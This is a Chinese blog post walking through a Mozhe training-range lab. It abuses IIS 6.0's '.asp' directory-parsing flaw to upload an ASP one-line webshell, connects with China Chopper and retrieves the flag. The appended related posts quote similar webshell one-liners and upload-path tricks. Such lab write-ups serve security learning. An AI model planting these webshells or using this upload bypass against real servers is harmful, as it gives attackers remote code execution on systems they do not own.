墨者——内部文件上传系统漏洞分析溯源 内部文件上传系统漏洞分析溯源

于 2023-02-24 22:04:16 发布
阅读量1k 收藏
点赞数 1
分类专栏： 信息安全 Web安全 墨者学院 文章标签： microsoft 服务器 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m_de_g/article/details/129209380
版权
文章详细描述了针对一个内部文件上传系统进行的漏洞分析过程，从选择上传文件类型到发现IIS6.0的文件解析漏洞，然后利用该漏洞上传了一句话木马并成功执行，最终通过菜刀工具连接服务器找到flag。
摘要由CSDN通过智能技术生成

墨者——内部文件上传系统漏洞分析溯源 内部文件上传系统漏洞分析溯源

1.选择合适的文件上传

在这里插入图片描述

2.可以看到为*.asp文件

在这里插入图片描述

3.可以推测出此站点为IIS
4.上传shell.asp试试

在这里插入图片描述

5.上传报错，将其改名为shell.asp.txt上传，发现上传成功

在这里插入图片描述

6.有个问题就是服务器将我们所上传的文件进行了重命名，故我们应该想办法截断

在这里插入图片描述

7.经过测试发现不行，那么查看一下操作系统的版本Microsoft-IIS/6.0
在这里插入图片描述

8.看看此服务器有没有什么漏洞，发现此版本有文件解析漏洞

在这里插入图片描述

9.把文档中的内容替换成一句话木马

<%eval  request(“test”)%>

在这里插入图片描述

10.上传试试

在这里插入图片描述

11.改上传的路径为123.asp,那么此目录下的所有文件就会被当做asp执行

在这里插入图片描述

12.接下来，使用菜刀连接

在这里插入图片描述

13.找到flag

KEY:mozhe8d9d6022cc9ac37e39936699415

在这里插入图片描述

PS:使用菜刀连接，一开始我还以为马儿有问题！！！有点坑

山川绿水
关注
专栏目录
内部文件上传系统漏洞分析溯源（墨者学院）
m0_67352890的博客
10-27 400
内部文件上传系统漏洞分析溯源（墨者学院）
墨者靶场 入门：内部文件上传系统漏洞分析溯源
qq_43233085的博客
01-15 686
墨者靶场 入门：内部文件上传系统漏洞分析溯源题目背景介绍实训目标解题方向解题步骤 题目 背景介绍 在为某公司检测后台页面时，你发现了一个上传页面，该页面做了一些防护，你需要尝试绕过并上传webshell，以获得网站根目录访问权限 实训目标 1、熟悉常见中间件存在的解析漏洞； 2、熟悉一句话木马的使用与制作 3、熟悉常见的上传漏洞利用方法 解题方向 1、试探允许上传的文件类型 2、观察服务器在处理...
墨者 - 内部文件上传系统漏洞分析溯源
吃肉唐僧的博客
06-30 715
直接上传php文件，失败 F12控制器看下，发现是url是asp 修改为asp文件，同样不行 而且改为jpg文件上传成功后，发现是IIS/6.0 上网查找IIS/6.0得漏洞 在网站下建立文件夹的名字为 *.asp、*.asa 的文件夹，其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行。例如创建目录 vidun.asp，那么 /vidun.as...
墨者题解_内部文件上传系统漏洞分析溯源
weixin_43072923的博客
04-08 407
墨者学院——内部文件上传系统漏洞分析溯源 根据背景： 我们可以尝试该页面做了什么防护： 首先尝试输入php或者asp文件，发现不行： 再次尝试txt、jpg等文件，发现可以上传： 通过F12查看其服务，为IIS/6.0： 上百度搜索IIS的漏洞，知道了当我们上传xxx.asp文件时，该文件以后的子文件都以asp文件来执行，例如ccooll.asp后面有子文件ccooll.jpg，则/ccooll.asp/ccooll.jpg以asp文件执行。 接下来，我们便开始getshel.
墨者学院-入门级-内部文件上传系统漏洞分析溯源-小白必看（超详细）
kitiu666的博客
01-28 1457
2021年1月26日，第七次渗透测试。 准备需求： 1、win10系统； 2、中国菜刀； 3、bp拦截工具（不懂的看我以前的博客，有介绍）； 1、进入靶场，有一个文件上传口； 2、我们新建一个文本文件，里面写上一句话木马； 一句话木马：<%eval request (“a”)%> （这里的’a’是中国菜刀上的webshell密码，可自行更改；） 3、上传文件，拦截请求包； 以下为拦截包数据截图： 修改包数据，把“upload”改为“1.asp”； 然后释放拦截包，返回浏览器页面； 4、可
WebShell文件上传漏洞分析溯源
02-22
WebShell 文件上传漏洞分析溯源 一、WebShell 文件上传漏洞概述 WebShell 文件上传漏洞是指攻击者通过上传恶意文件（如WebShell）来获取服务器的控制权，从而实现对服务器的攻击和控制。这种漏洞通常存在于Web应用...
墨者学院WebShell文件上传漏洞分析溯源
gudugeji的博客
10-22 397
1.第一题 编写一句话木马，然后上传文件，改文件不可上传，改后缀为php5 然后用菜刀连接 连接成功打开html，得到flag 2.第二题 上传shell图片，burp抓包，改jpg为php，点Forward，然后菜刀连接，同题1 ...
墨者学院_CMS系统漏洞分析溯源(第9题)
weixin_50698958的博客
09-23 635
漏洞概述： 在 一、pandas是什么？ 示例：pandas 是基于NumPy 的一种工具，该工具是为了解决数据分析任务而创建的。 二、使用步骤 1.引入库 代码如下（示例）： import numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns import warnings warnings.filterwarnings('ignore') import ssl ssl._
内部文件上传系统漏洞分析溯源
weixin_47493074的博客
09-16 451
首先根据服务器版本IIS6.0可以判断，利用IIS低版本的解析漏洞。2、IIS解析漏洞分为两种：（IIS6.0在解析asp格式的时候有两个解析漏洞，一个是如果目录名包含“.asp“字符串，那么这个目录下所有的文件都会按照asp去解析，另一个是只要文件名中含有".asp；实战：上传一个asp类型的一句话木马，一定要是asp类型的，然后burp抓包，在GuFolderPath下的upload为upload/*.asp，然后菜刀过去，脚本类型改asp，进入打开inetpub下wwwroot找到key。
墨者学院06 内部文件上传系统漏洞分析溯源
weixin_42789937的博客
01-28 458
墨者学院06 内部文件上传系统漏洞分析溯源~友情提示：这道题目我用蚁剑连接失败了，原因不知...所以有可能不是靠谱的WP...
文件上传漏洞 —— 内部文件上传系统漏洞分析溯源
vergilben的学习日记
04-11 1880
文件上传漏洞 —— 内部文件上传系统漏洞分析溯源 这篇主要复现墨者学院的一个内部文件上传漏洞，内部文件上传系统漏洞分析溯源，还有另一题会写到另一篇里面。 关于文件上传漏洞，前面我的博客里面有写原理以及简单的实现，再写一下其原理。 文件上传漏洞原理：大部分的网站和应用系统都有上传功能，如用户头像上传、图片上传、文档上传等。一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，导致允许攻...
墨者内部文件上传系统漏洞分析溯源题解
zr1213159840的博客
12-23 614
题目是一个上传的功能，要求找到key 先正常上传一个文件看看 能看出来这是一个asp的网站，iis6.0存在一个文件解析漏洞，在xxx.asp文件夹下面的任何文件格式都会按照asp的格式执行，比如xxx.asp/1.jpg就会将这和1.jpg按照asp格式执行。 既然如此，我们可以整个asp的一句话木马 将其命名为q.txt后上传，然后使用burpsuite抓包，修改以下地方为1.asp 然后上传 上传成功后用蚁剑进行连接 然后连接上去，拿到key 参考： https://zhuanlan.z
内部文件上传系统漏洞分析溯源(墨者学院)
qq_44060093的博客
03-28 361
很简单的一个文件上传漏洞，我去学到了不一样的知识 实训目标 1、熟悉常见中间件存在的解析漏洞； 2、熟悉一句话木马的使用与制作 3、熟悉常见的上传漏洞利用方法 解题方向 1、试探允许上传的文件类型 2、观察服务器在处理完上传任务后返回的内容，获取上传路径 3、尝试修改上传路径，观察服务器是否允许写入权限 题目底下的神评论 1、目录解析、以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。...
墨者学院 - 内部文件上传系统漏洞分析溯源
多崎巡礼的博客
07-26 2136
有意思有意思，搜索了半天还是不懂怎么创建文件夹，老老实实看了解题思路柳暗花明 burp还有这种操作，学到了不亏不亏 上传默认是upload 利用burp截包，更改(没有则自动创建)上传文件夹 此处更改为test.asp (iis6.0漏洞： 例如文件的名字为“*.asp;xxx.jpg”，会被 IIS 当作 asp 文件来解析并执行，原因是这样的： 首先我们请求 /aaa.asp;xxx.jpg...
墨者学院-内部文件上传系统漏洞分析溯源
qq_37850901的博客
09-25 196
墨者学院-内部文件上传系统漏洞分析溯源 首先正常上传一个txt文件，抓包，发现是iis6.0，了解到这个版本的服务器有个解析漏洞，来加以利用 于是我们更改一下upload的路径木马我们已经预先写道txt里了<%execute request(“MH”)%> 菜刀链接这个地址，找到key ...
0x0B.内部文件上传系统漏洞分析溯源
qq_31679787的博客
09-21 156
经过测试，服务器为IIS，且上传后的文件会被重命名，但是能够修改上传路径； 上传asp一句话木马，使用bp抓包，修改文件上传路径以及文件后缀名； 上传成功并且能够解析； 使用菜刀连接； 在目录中找到key文件； ...
墨者-sql手工注入漏洞测试
最新发布
04-29
墨者安全团队是一支专注于网络安全领域的团队，他们致力于网络安全研究...总的来说，墨者安全团队的手工注入漏洞测试方法比较系统和全面，可以有效地发现目标网站中存在的注入漏洞，从而帮助企业提高网络安全防护水平。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值